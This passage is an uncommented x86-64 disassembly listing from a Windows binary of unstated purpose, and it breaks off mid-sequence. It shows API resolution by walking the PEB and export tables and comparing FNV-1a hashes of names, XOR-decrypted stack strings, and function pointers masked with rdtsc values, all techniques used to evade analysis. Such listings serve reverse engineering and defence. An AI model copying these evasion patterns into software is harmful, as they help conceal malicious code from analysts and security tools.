mov qword [rbp + 0x348], r12
movdqa xmm0, xmmword [rbp + 0x14a0]
pxor xmm0, xmmword [rbp + 0x330]
movdqa xmmword [rbp + 0x330], xmm0
movdqa xmm1, xmmword [rbp + 0x14b0]
pxor xmm1, xmmword [rbp + 0x340]
movdqa xmmword [rbp + 0x340], xmm1
movabs rcx, 0xdf56b11304c2cb30
movabs rdi, 0x6c963419f3f97493
movabs rsi, 0xeaf3089a8fc78d37
movabs r8, 0xb7a4a2209545b8f6
movabs r9, 0x176aaff3560bb735
movabs r10, 0xfe580dcd435e452b
movabs r11, 0x7cf506ddd0af5039
movabs rax, 0x563b4203409874b2
mov qword [rbp + 0xb90], r15
mov qword [rbp + 0xb98], r14
mov qword [rbp + 0xba0], r13
mov qword [rbp + 0xba8], r12
movabs rdx, 0x5c9074a8bcc6315f
mov qword [rbp + 0xbb0], rdx
movabs r13, 0x31a40429c3cb57c8
mov qword [rbp + 0xbb8], r13
movabs rdx, 0xeaf3089a8fc78d19
mov qword [rbp + 0xbc0], rdx
mov qword [rbp + 0xbc8], rax
mov qword [rbp + 0x4c0], rcx
mov qword [rbp + 0x4c8], r8
mov qword [rbp + 0x4d0], r9
mov qword [rbp + 0x4d8], r10
mov qword [rbp + 0x4e0], r11
mov qword [rbp + 0x4e8], rdi
mov qword [rbp + 0x4f0], rsi
mov qword [rbp + 0x4f8], rax
movdqa xmm0, xmmword [rbp + 0xb90]
pxor xmm0, xmmword [rbp + 0x4c0]
movdqa xmmword [rbp + 0x4c0], xmm0
movdqa xmm1, xmmword [rbp + 0xba0]
pxor xmm1, xmmword [rbp + 0x4d0]
movdqa xmmword [rbp + 0x4d0], xmm1
movdqa xmm0, xmmword [rbp + 0xbb0]
pxor xmm0, xmmword [rbp + 0x4e0]
movdqa xmmword [rbp + 0x4e0], xmm0
movdqa xmm1, xmmword [rbp + 0xbc0]
pxor xmm1, xmmword [rbp + 0x4f0]
movdqa xmmword [rbp + 0x4f0], xmm1
xor r9d, r9d
lea r8, [rbp + 0x330]
lea rdx, [rbp + 0x4c0]
xor ecx, ecx
call rbx
nop
lea rcx, [rbp + 0x14c0]
call fcn.140071670
nop
lea rcx, [rbp + 0x1518]
call fcn.140071670
nop
lea rcx, [rbp + 0x14e0]
call fcn.14002fcd0
jmp 0x140046f85
lea rcx, [rbp + 0x14c0]
call fcn.140073880
mov rbx, rax
test rax, rax
jne 0x14004542c
lea rcx, [rbp + 0x14c0]
call fcn.140071920
xor esi, esi
mov r8d, 0x28255f84
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
movups xmm0, xmmword [rax + 0x58]
movups xmmword [rbp + 0x15f8], xmm0
movd ecx, xmm0
sub cx, 8
test esi, esi
je 0x140045170
mov r9, qword [rbp + 0x1600]
movzx ecx, cx
shr rcx, 1
lea r11, [r9 + rcx*2]
mov r10d, 0x811c9dc5
cmp r9, r11
je 0x140045167
nop dword [rax]
nop word [rax + rax]
movsx ecx, byte [r9]
mov edx, ecx
sub cl, 0x41
mov ebx, edx
or ebx, 0x20
cmp cl, 0x19
cmova ebx, edx
xor ebx, r10d
imul r10d, ebx, 0x1000193
add r9, 2
cmp r9, r11
jne 0x140045140
cmp r10d, esi
jne 0x1400452b7
mov rdi, qword [rax + 0x30]
test rdi, rdi
je 0x1400452bf
movsxd rcx, dword [rdi + 0x3c]
mov rdx, qword [rcx + rdi + 0x88]
mov r13, rdx
shr r13, 0x20
mov r15d, edx
add r15, rdi
cmp r15, rdi
je 0x1400452b7
mov r11d, dword [r15 + 0x18]
test r11d, r11d
je 0x1400452b7
mov r12d, dword [r15 + 0x20]
dec r11d
lea rcx, [r12 + r11*4]
mov r9d, dword [rcx + rdi]
add r9, rdi
mov r10d, 0x811c9dc5
movzx ebx, byte [r9]
inc r9
test bl, bl
je 0x1400451f7
nop
movsx ecx, bl
sub bl, 0x41
mov edx, ecx
or edx, 0x20
cmp bl, 0x19
cmova edx, ecx
xor edx, r10d
imul r10d, edx, 0x1000193
movzx ebx, byte [r9]
lea r9, [r9 + 1]
test bl, bl
jne 0x1400451d0
cmp r10d, r8d
je 0x140045209
test r11d, r11d
jne 0x1400451b0
mov rax, qword [rax]
jmp 0x140045100
mov ecx, dword [r15 + 0x1c]
add rcx, rdi
mov eax, dword [r15 + 0x24]
add rax, rdi
movzx eax, word [rax + r11*2]
mov ebx, dword [rcx + rax*4]
add rbx, rdi
cmp rbx, r15
jbe 0x1400452c1
lea rax, [r15 + r13]
cmp rbx, rax
jae 0x1400452c1
mov esi, 0x811c9dc5
mov r8d, esi
movzx edx, byte [rbx]
cmp dl, 0x2e
je 0x140045274
nop dword [rax + rax]
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, esi
imul esi, ecx, 0x1000193
inc rbx
movzx edx, byte [rbx]
cmp dl, 0x2e
jne 0x140045250
inc rbx
movzx edx, byte [rbx]
test dl, dl
je 0x1400452a6
nop
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, r8d
imul r8d, ecx, 0x1000193
lea rbx, [rbx + 1]
movzx edx, byte [rbx]
test dl, dl
jne 0x140045280
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x140045100
xor ebx, ebx
movabs r11, 0xba38d454249fea6b
mov qword [rbp + 0x12b0], r11
movabs r10, 0xcfc1cc55b526d184
mov qword [rbp + 0x12b8], r10
movabs rax, 0x971880046dcda138
mov qword [rbp + 0x220], rax
movabs rax, 0xcfc1be3ac75494a4
mov qword [rbp + 0x228], rax
movdqa xmm0, xmmword [rbp + 0x12b0]
pxor xmm0, xmmword [rbp + 0x220]
movdqa xmmword [rbp + 0x220], xmm0
movabs rax, 0xd451bc2041f28538
movabs rcx, 0xb8e1b83bd051f1e3
movabs rdx, 0x170febb74506bd37
movabs rdi, 0x31a40429c3cb57c8
movabs r8, 0xbb4e07dc0648443c
movabs r9, 0x75a64c9889e5197f
mov qword [rbp + 0xaf0], r11
mov qword [rbp + 0xaf8], r10
movabs r10, 0x654acb962268d245
mov qword [rbp + 0xb00], r10
movabs r10, 0xde2a68bf263a2b4e
mov qword [rbp + 0xb08], r10
movabs r13, 0x5c9074a8bcc6315f
mov qword [rbp + 0xb10], r13
mov qword [rbp + 0xb18], rdi
mov qword [rbp + 0x390], rax
mov qword [rbp + 0x398], rcx
mov qword [rbp + 0x3a0], rdx
mov qword [rbp + 0x3a8], r8
mov qword [rbp + 0x3b0], r9
mov qword [rbp + 0x3b8], rdi
movdqa xmm0, xmmword [rbp + 0xaf0]
pxor xmm0, xmmword [rbp + 0x390]
movdqa xmmword [rbp + 0x390], xmm0
movdqa xmm1, xmmword [rbp + 0xb00]
pxor xmm1, xmmword [rbp + 0x3a0]
movdqa xmmword [rbp + 0x3a0], xmm1
movdqa xmm0, xmmword [rbp + 0xb10]
pxor xmm0, xmmword [rbp + 0x3b0]
movdqa xmmword [rbp + 0x3b0], xmm0
mov r9d, 0x40010
lea r8, [rbp + 0x220]
lea rdx, [rbp + 0x390]
jmp 0x14004508e
call fcn.140064310
mov rdi, qword [rbp + 0x3a20]
mov rcx, qword [rdi + 8]
mov rdx, rbx
mov rcx, qword [rcx]
call fcn.1400046b0
mov rax, qword [rdi + 8]
mov qword [rbp + 0xa18], rax
lea rdx, [rbp + 0xa18]
lea rcx, [rbp + 0x1310]
call fcn.14005b1d0
nop
lea rcx, [rbp + 0x1310]
call fcn.140032240
mov rax, qword [rdi + 8]
mov qword [rbp + 0x1500], rax
lea rax, [rbp + 0x14e0]
mov qword [rbp + 0x1508], rax
lea rax, [rbp + 0x1518]
mov qword [rbp + 0x1510], rax
lea rdx, [rbp + 0x1500]
lea rcx, [rbp + 0x1300]
call fcn.14005b260
nop
lea rcx, [rbp + 0x1300]
call fcn.140032240
xorps xmm0, xmm0
movups xmmword [rbp + 0x2628], xmm0
movups xmmword [rbp + 0x2638], xmm0
movups xmmword [rbp + 0x2648], xmm0
mov rax, qword [0x1401bf1c8]
cmp byte [rax + 0x3f8], 0
jne 0x140045e3e
nop word [rax + rax]
mov rbx, qword [0x1401bf4e0]
test rbx, rbx
jne 0x140045723
xor esi, esi
mov edi, 0xc22b73de
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
movups xmm0, xmmword [rax + 0x58]
movups xmmword [rbp + 0x12c0], xmm0
movd ecx, xmm0
sub cx, 8
test esi, esi
je 0x140045590
mov r8, qword [rbp + 0x12c8]
movzx ecx, cx
shr rcx, 1
lea r10, [r8 + rcx*2]
mov r9d, 0x811c9dc5
cmp r8, r10
je 0x140045587
nop dword [rax]
nop word [rax + rax]
movsx ecx, byte [r8]
mov edx, ecx
sub cl, 0x41
mov ebx, edx
or ebx, 0x20
cmp cl, 0x19
cmova ebx, edx
xor ebx, r9d
imul r9d, ebx, 0x1000193
add r8, 2
cmp r8, r10
jne 0x140045560
cmp r9d, esi
jne 0x1400456d5
mov r11, qword [rax + 0x30]
test r11, r11
je 0x1400456dd
movsxd rcx, dword [r11 + 0x3c]
mov rdx, qword [rcx + r11 + 0x88]
mov r13, rdx
shr r13, 0x20
mov r15d, edx
add r15, r11
cmp r15, r11
je 0x1400456d5
mov r10d, dword [r15 + 0x18]
test r10d, r10d
je 0x1400456d5
mov r12d, dword [r15 + 0x20]
dec r10d
lea rcx, [r12 + r10*4]
mov edx, dword [rcx + r11]
mov r9d, 0x811c9dc5
movzx ebx, byte [rdx + r11]
lea r8, [rdx + 1]
add r8, r11
test bl, bl
je 0x140045618
movsx ecx, bl
sub bl, 0x41
mov edx, ecx
or edx, 0x20
cmp bl, 0x19
cmova edx, ecx
xor edx, r9d
imul r9d, edx, 0x1000193
movzx ebx, byte [r8]
lea r8, [r8 + 1]
test bl, bl
jne 0x1400455f1
cmp r9d, edi
je 0x14004562a
test r10d, r10d
jne 0x1400455d0
mov rax, qword [rax]
jmp 0x140045520
mov ecx, dword [r15 + 0x1c]
add rcx, r11
mov eax, dword [r15 + 0x24]
add rax, r11
movzx eax, word [rax + r10*2]
mov ebx, dword [rcx + rax*4]
add rbx, r11
cmp rbx, r15
jbe 0x1400456df
lea rax, [r15 + r13]
cmp rbx, rax
jae 0x1400456df
mov esi, 0x811c9dc5
mov edi, esi
movzx edx, byte [rbx]
cmp dl, 0x2e
je 0x140045694
nop dword [rax + rax]
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, esi
imul esi, ecx, 0x1000193
inc rbx
movzx edx, byte [rbx]
cmp dl, 0x2e
jne 0x140045670
inc rbx
movzx edx, byte [rbx]
test dl, dl
je 0x1400456c4
nop
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, edi
imul edi, ecx, 0x1000193
lea rbx, [rbx + 1]
movzx edx, byte [rbx]
test dl, dl
jne 0x1400456a0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x140045520
xor ebx, ebx
mov qword [0x1401bf4e0], rbx
nop word [rax + rax]
rdtsc
shl rdx, 0x20
or rax, rdx
lea r10, [rax + rax*4]
mov qword [0x1401bf4e8], r10
cmp r10, rbx
je 0x1400456f0
xor rbx, r10
mov qword [0x1401bf4e0], rbx
mov eax, r10d
xor eax, 0xc22b73de
mov dword [0x1401bf4d8], eax
jmp 0x14004572a
mov r10, qword [0x1401bf4e8]
xor r10, rbx
mov eax, 1
mov dword [rsp + 0x20], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0x2628]
call r10
test eax, eax
je 0x140045be9
mov rbx, qword [0x1401bf4f8]
test rbx, rbx
jne 0x140045982
xor esi, esi
mov edi, 0x51b57fd4
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
movups xmm0, xmmword [rax + 0x58]
movups xmmword [rbp + 0x12d0], xmm0
movd ecx, xmm0
sub cx, 8
test esi, esi
je 0x1400457f0
mov r8, qword [rbp + 0x12d8]
movzx ecx, cx
shr rcx, 1
lea r10, [r8 + rcx*2]
mov r9d, 0x811c9dc5
cmp r8, r10
je 0x1400457e7
nop dword [rax]
nop word [rax + rax]
movsx ecx, byte [r8]
mov edx, ecx
sub cl, 0x41
mov ebx, edx
or ebx, 0x20
cmp cl, 0x19
cmova ebx, edx
xor ebx, r9d
imul r9d, ebx, 0x1000193
add r8, 2
cmp r8, r10
jne 0x1400457c0
cmp r9d, esi
jne 0x140045935
mov r11, qword [rax + 0x30]
test r11, r11
je 0x14004593d
movsxd rcx, dword [r11 + 0x3c]
mov rdx, qword [rcx + r11 + 0x88]
mov r13, rdx
shr r13, 0x20
mov r15d, edx
add r15, r11
cmp r15, r11
je 0x140045935
mov r10d, dword [r15 + 0x18]
test r10d, r10d
je 0x140045935
mov r12d, dword [r15 + 0x20]
dec r10d
lea rcx, [r11 + r10*4]
mov edx, dword [rcx + r12]
mov r9d, 0x811c9dc5
movzx ebx, byte [rdx + r11]
lea r8, [r11 + 1]
add r8, rdx
test bl, bl
je 0x140045878
movsx ecx, bl
sub bl, 0x41
mov edx, ecx
or edx, 0x20
cmp bl, 0x19
cmova edx, ecx
xor edx, r9d
imul r9d, edx, 0x1000193
movzx ebx, byte [r8]
lea r8, [r8 + 1]
test bl, bl
jne 0x140045851
cmp r9d, edi
je 0x14004588a
test r10d, r10d
jne 0x140045830
mov rax, qword [rax]
jmp 0x140045780
mov ecx, dword [r15 + 0x1c]
add rcx, r11
mov eax, dword [r15 + 0x24]
add rax, r11
movzx eax, word [rax + r10*2]
mov ebx, dword [rcx + rax*4]
add rbx, r11
cmp rbx, r15
jbe 0x14004593f
lea rax, [r15 + r13]
cmp rbx, rax
jae 0x14004593f
mov esi, 0x811c9dc5
mov edi, esi
movzx edx, byte [rbx]
cmp dl, 0x2e
je 0x1400458f4
nop dword [rax + rax]
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, esi
imul esi, ecx, 0x1000193
inc rbx
movzx edx, byte [rbx]
cmp dl, 0x2e
jne 0x1400458d0
inc rbx
movzx edx, byte [rbx]
test dl, dl
je 0x140045924
nop
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, edi
imul edi, ecx, 0x1000193
lea rbx, [rbx + 1]
movzx edx, byte [rbx]
test dl, dl
jne 0x140045900
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x140045780
xor ebx, ebx
mov qword [0x1401bf4f8], rbx
nop word [rax + rax]
rdtsc
shl rdx, 0x20
or rax, rdx
lea rdx, [rax + rax*4]
mov qword [0x1401bf500], rdx
cmp rdx, rbx
je 0x140045950
xor rbx, rdx
mov qword [0x1401bf4f8], rbx
mov eax, edx
xor eax, 0x51b57fd4
mov dword [0x1401bf4f0], eax
jmp 0x140045989
mov rdx, qword [0x1401bf500]
xor rdx, rbx
lea rcx, [rbp + 0x2628]
call rdx
mov rbx, qword [0x1401bf570]
test rbx, rbx
jne 0x140045bd1
xor esi, esi
mov edi, 0xcd16687f
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
movups xmm0, xmmword [rax + 0x58]
movups xmmword [rbp + 0x12e0], xmm0
movd ecx, xmm0
sub cx, 8
test esi, esi
je 0x140045a30
mov r8, qword [rbp + 0x12e8]
movzx ecx, cx
shr rcx, 1
lea r10, [r8 + rcx*2]
mov r9d, 0x811c9dc5
cmp r8, r10
je 0x140045a27
nop dword [rax]
nop word [rax + rax]
movsx ecx, byte [r8]
mov edx, ecx
sub cl, 0x41
mov ebx, edx
or ebx, 0x20
cmp cl, 0x19
cmova ebx, edx
xor ebx, r9d
imul r9d, ebx, 0x1000193
add r8, 2
cmp r8, r10
jne 0x140045a00
cmp r9d, esi
jne 0x140045b75
mov r11, qword [rax + 0x30]
test r11, r11
je 0x140045b7d
movsxd rcx, dword [r11 + 0x3c]
mov rdx, qword [rcx + r11 + 0x88]
mov r13, rdx
shr r13, 0x20
mov r15d, edx
add r15, r11
cmp r15, r11
je 0x140045b75
mov r10d, dword [r15 + 0x18]
test r10d, r10d
je 0x140045b75
mov r12d, dword [r15 + 0x20]
dec r10d
lea rcx, [r11 + r10*4]
mov edx, dword [rcx + r12]
mov r9d, 0x811c9dc5
movzx ebx, byte [rdx + r11]
lea r8, [r11 + 1]
add r8, rdx
test bl, bl
je 0x140045ab8
movsx ecx, bl
sub bl, 0x41
mov edx, ecx
or edx, 0x20
cmp bl, 0x19
cmova edx, ecx
xor edx, r9d
imul r9d, edx, 0x1000193
movzx ebx, byte [r8]
lea r8, [r8 + 1]
test bl, bl
jne 0x140045a91
cmp r9d, edi
je 0x140045aca
test r10d, r10d
jne 0x140045a70
mov rax, qword [rax]
jmp 0x1400459c0
mov ecx, dword [r15 + 0x1c]
add rcx, r11
mov eax, dword [r15 + 0x24]
add rax, r11
movzx eax, word [rax + r10*2]
mov ebx, dword [rcx + rax*4]
add rbx, r11
cmp rbx, r15
jbe 0x140045b7f
lea rax, [r15 + r13]
cmp rbx, rax
jae 0x140045b7f
mov esi, 0x811c9dc5
mov edi, esi
movzx edx, byte [rbx]
cmp dl, 0x2e
je 0x140045b34
nop dword [rax + rax]
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, esi
imul esi, ecx, 0x1000193
inc rbx
movzx edx, byte [rbx]
cmp dl, 0x2e
jne 0x140045b10
inc rbx
movzx edx, byte [rbx]
test dl, dl
je 0x140045b64
nop
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, edi
imul edi, ecx, 0x1000193
lea rbx, [rbx + 1]
movzx edx, byte [rbx]
test dl, dl
jne 0x140045b40
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x1400459c0
xor ebx, ebx
mov qword [0x1401bf570], rbx
nop word [rax + rax]
rdtsc
shl rdx, 0x20
or rax, rdx
lea rdx, [rax + rax*4]
mov qword [0x1401bf578], rdx
cmp rdx, rbx
je 0x140045b90
xor rbx, rdx
mov qword [0x1401bf570], rbx
mov eax, edx
xor eax, 0xcd16687f
mov dword [0x1401bf568], eax
xor rdx, rbx
lea rcx, [rbp + 0x2628]
call rdx
jmp 0x140045e23
mov rdx, qword [0x1401bf578]
xor rdx, rbx
lea rcx, [rbp + 0x2628]
call rdx
jmp 0x140045e23
mov rbx, qword [0x1401bf558]
test rbx, rbx
jne 0x140045e12
xor esi, esi
mov edi, 0x89eabb08
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
movups xmm0, xmmword [rax + 0x58]
movups xmmword [rbp + 0x12f0], xmm0
movd ecx, xmm0
sub cx, 8
test esi, esi
je 0x140045c80
mov r8, qword [rbp + 0x12f8]
movzx ecx, cx
shr rcx, 1
lea r10, [r8 + rcx*2]
mov r9d, 0x811c9dc5
cmp r8, r10
je 0x140045c77
nop dword [rax]
nop dword [rax + rax]
movsx ecx, byte [r8]
mov edx, ecx
sub cl, 0x41
mov ebx, edx
or ebx, 0x20
cmp cl, 0x19
cmova ebx, edx
xor ebx, r9d
imul r9d, ebx, 0x1000193
add r8, 2
cmp r8, r10
jne 0x140045c50
cmp r9d, esi
jne 0x140045dc5
mov r11, qword [rax + 0x30]
test r11, r11
je 0x140045dcd
movsxd rcx, dword [r11 + 0x3c]
mov rdx, qword [rcx + r11 + 0x88]
mov r13, rdx
shr r13, 0x20
mov r15d, edx
add r15, r11
cmp r15, r11
je 0x140045dc5
mov r10d, dword [r15 + 0x18]
test r10d, r10d
je 0x140045dc5
mov r12d, dword [r15 + 0x20]
dec r10d
lea rcx, [r11 + r10*4]
mov edx, dword [rcx + r12]
mov r9d, 0x811c9dc5
movzx ecx, byte [rdx + r11]
lea r8, [r11 + 1]
add r8, rdx
test cl, cl
je 0x140045d08
movsx edx, cl
sub cl, 0x41
mov ebx, edx
or ebx, 0x20
cmp cl, 0x19
cmova ebx, edx
xor ebx, r9d
imul r9d, ebx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x140045ce1
cmp r9d, edi
je 0x140045d1a
test r10d, r10d
jne 0x140045cc0
mov rax, qword [rax]
jmp 0x140045c11
mov ecx, dword [r15 + 0x1c]
add rcx, r11
mov eax, dword [r15 + 0x24]
add rax, r11
movzx eax, word [rax + r10*2]
mov ebx, dword [rcx + rax*4]
add rbx, r11
cmp rbx, r15
jbe 0x140045dcf
lea rax, [r15 + r13]
cmp rbx, rax
jae 0x140045dcf
mov esi, 0x811c9dc5
mov edi, esi
movzx edx, byte [rbx]
cmp dl, 0x2e
je 0x140045d84
nop dword [rax + rax]
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, esi
imul esi, ecx, 0x1000193
inc rbx
movzx edx, byte [rbx]
cmp dl, 0x2e
jne 0x140045d60
inc rbx
movzx edx, byte [rbx]
test dl, dl
je 0x140045db4
nop
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, edi
imul edi, ecx, 0x1000193
lea rbx, [rbx + 1]
movzx edx, byte [rbx]
test dl, dl
jne 0x140045d90
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x140045c11
xor ebx, ebx
mov qword [0x1401bf558], rbx
nop word [rax + rax]
rdtsc
shl rdx, 0x20
or rax, rdx
lea rdx, [rax + rax*4]
mov qword [0x1401bf560], rdx
cmp rdx, rbx
je 0x140045de0
xor rbx, rdx
mov qword [0x1401bf558], rbx
mov eax, edx
xor eax, 0x89eabb08
mov dword [0x1401bf550], eax
jmp 0x140045e19
mov rdx, qword [0x1401bf560]
xor rdx, rbx
mov ecx, 0x32
call rdx
mov rax, qword [0x1401bf1c8]
cmp byte [rax + 0x3f8], 0
je 0x1400454f0
mov rdi, qword [rbp + 0x3a20]
mov rcx, qword [rdi + 8]
mov rcx, qword [rcx]
call fcn.140009060
mov r14, qword [0x1401bf1c8]
lea rdx, [r14 + 0x200]
mov qword [rsp + 0x60], rdx
mov rax, qword gs:[0x30]
mov r8d, dword [rax + 0x48]
mov r9, qword [rsp + 0x60]
mov eax, dword [r9 + 4]
cmp r8d, eax
jne 0x140045e8a
mov rax, qword [rsp + 0x60]
mov ecx, dword [rax]
inc ecx
mov rdi, qword [rsp + 0x60]
mov dword [rdi], ecx
jmp 0x140045ecb
mov rbx, qword [rsp + 0x60]
mov r10d, 1
mov eax, dword [rbx + 8]
cmp eax, r10d
je 0x140045eaa
xor eax, eax
lock cmpxchg dword [rbx + 8], r10d
cmp eax, r10d
jne 0x140045ec2
mov ecx, dword [rdx + 0xc]
mov eax, dword [rdx + 0xc]
inc eax
mov dword [rdx + 0xc], eax
cmp ecx, 0x1fffffff
jbe 0x140045ebe
int3
pause
jmp 0x140045e95
mov dword [r9 + 4], r8d
mov rdi, qword [rsp + 0x60]
lea rsi, [r14 + 0x210]
mov rax, qword [rsi + 8]
sub rax, qword [rsi]
cmp rax, 8
jb 0x140045f30
lea rdx, [rbp + 0x18b0]
mov rcx, rsi
call fcn.140051980
mov rbx, qword [rax]
lea rdx, [rbp + 0xa10]
mov rcx, rsi
call fcn.14004e650
cmp rbx, qword [rax]
je 0x140045f1f
add rbx, 0xfffffffffffffff8
call qword [rbx]
lea rdx, [rbp + 0xa10]
mov rcx, rsi
call fcn.14004e650
cmp rbx, qword [rax]
jne 0x140045f05
mov rax, qword [rsi]
mov qword [rsi + 8], rax
mov rax, qword [r14]
mov rcx, r14
call qword [rax + 8]
nop
mov eax, dword [rdi]
test eax, eax
mov rax, qword [rsp + 0x60]
je 0x140045f48
mov ecx, dword [rax]
dec ecx
mov rax, qword [rsp + 0x60]
mov dword [rax], ecx
jmp 0x140045f5d
mov dword [rax + 4], 0
mov dword [rax + 8], 0
mov dword [rax + 0xc], 0
mov rbx, qword [0x1401bf1c8]
test rbx, rbx
je 0x140045f7b
mov rcx, rbx
call fcn.14004d660
nop
mov rcx, rbx
call fcn.14000d9c0
nop
lea rcx, [rbp + 0x14c0]
call fcn.140071920
nop
cmp dword [rbp + 0x1308], 0
jne 0x140046fa3
cmp dword [rbp + 0x1318], 0
jne 0x140046fa9
jmp 0x140045093
xor esi, esi
mov r8d, 0x28255f84
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
movups xmm0, xmmword [rax + 0x58]
movups xmmword [rbp + 0x1608], xmm0
movd ecx, xmm0
sub cx, 8
test esi, esi
je 0x140046030
mov r9, qword [rbp + 0x1610]
movzx ecx, cx
shr rcx, 1
lea r11, [r9 + rcx*2]
mov r10d, 0x811c9dc5
cmp r9, r11
je 0x140046027
nop dword [rax]
nop word [rax + rax]
movsx ecx, byte [r9]
mov edx, ecx
sub cl, 0x41
mov ebx, edx
or ebx, 0x20
cmp cl, 0x19
cmova ebx, edx
xor ebx, r10d
imul r10d, ebx, 0x1000193
add r9, 2
cmp r9, r11
jne 0x140046000
cmp r10d, esi
jne 0x140046177
mov rdi, qword [rax + 0x30]
test rdi, rdi
je 0x14004617f
movsxd rcx, dword [rdi + 0x3c]
mov rdx, qword [rcx + rdi + 0x88]
mov r13, rdx
shr r13, 0x20
mov r15d, edx
add r15, rdi
cmp r15, rdi
je 0x140046177
mov r11d, dword [r15 + 0x18]
test r11d, r11d
je 0x140046177
mov r12d, dword [r15 + 0x20]
dec r11d
lea rcx, [r12 + r11*4]
mov r9d, dword [rcx + rdi]
add r9, rdi
mov r10d, 0x811c9dc5
movzx ebx, byte [r9]
inc r9
test bl, bl
je 0x1400460b7
nop
movsx ecx, bl
sub bl, 0x41
mov edx, ecx
or edx, 0x20
cmp bl, 0x19
cmova edx, ecx
xor edx, r10d
imul r10d, edx, 0x1000193
movzx ebx, byte [r9]
lea r9, [r9 + 1]
test bl, bl
jne 0x140046090
cmp r10d, r8d
je 0x1400460c9
test r11d, r11d
jne 0x140046070
mov rax, qword [rax]
jmp 0x140045fc0
mov ecx, dword [r15 + 0x24]
add rcx, rdi
movzx edx, word [rcx + r11*2]
mov ecx, dword [r15 + 0x1c]
add rcx, rdi
mov ebx, dword [rcx + rdx*4]
add rbx, rdi
cmp rbx, r15
jbe 0x140046181
lea rax, [r15 + r13]
cmp rbx, rax
jae 0x140046181
mov esi, 0x811c9dc5
mov r8d, esi
movzx edx, byte [rbx]
cmp dl, 0x2e
je 0x140046134
nop dword [rax + rax]
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, esi
imul esi, ecx, 0x1000193
inc rbx
movzx edx, byte [rbx]
cmp dl, 0x2e
jne 0x140046110
inc rbx
movzx edx, byte [rbx]
test dl, dl
je 0x140046166
nop
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, r8d
imul r8d, ecx, 0x1000193
lea rbx, [rbx + 1]
movzx edx, byte [rbx]
test dl, dl
jne 0x140046140
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x140045fc0
xor ebx, ebx
movabs rdx, 0xba38d454249fea6b
mov qword [rbp + 0x1320], rdx
movabs rcx, 0xcfc1cc55b526d184
mov qword [rbp + 0x1328], rcx
movabs rax, 0x971880046dcda138
mov qword [rbp + 0x110], rax
movabs rax, 0xcfc1be3ac75494a4
mov qword [rbp + 0x118], rax
movdqa xmm0, xmmword [rbp + 0x110]
pxor xmm0, xmmword [rbp + 0x1320]
movdqa xmmword [rbp + 0x110], xmm0
movabs rdi, 0x29e21788dba8582c
movabs rsi, 0x5ccb6709afaa3eab
movabs r8, 0xd451a37456ea8532
movabs r9, 0xbcafa575c651bee0
movabs r10, 0xa23bff74e04b331
movabs r11, 0xad43059f55530b20
movabs r14, 0xca807cf4eaa9e269
movabs r15, 0x25522a7760ea1bd4
movabs r12, 0xbce99608184749b3
movabs r13, 0xf0e63afd7f0ccf49
mov qword [rbp + 0xf50], rdx
mov qword [rbp + 0xf58], rcx
movabs rax, 0x654acb962268d245
mov qword [rbp + 0xf60], rax
movabs rax, 0xde2a68bf263a2b4e
mov qword [rbp + 0xf68], rax
movabs rax, 0x5c9074a8bcc6315f
mov qword [rbp + 0xf70], rax
movabs rax, 0x31a40429c3cb57c8
mov qword [rbp + 0xf78], rax
movabs rdx, 0xeaf3089a8fc78d19
mov qword [rbp + 0xf80], rdx
movabs rax, 0x563b4203409874b2
mov qword [rbp + 0xf88], rax
movabs rax, 0xce88e17c7e283a93
mov qword [rbp + 0xf90], rax
movabs rax, 0x959655dd1078ef2c
mov qword [rbp + 0xf98], rax
movabs rax, 0xb889d0fe6c06a4ed
mov qword [rbp + 0xfa0], rax
movabs rax, 0xe1be92c77ec65a96
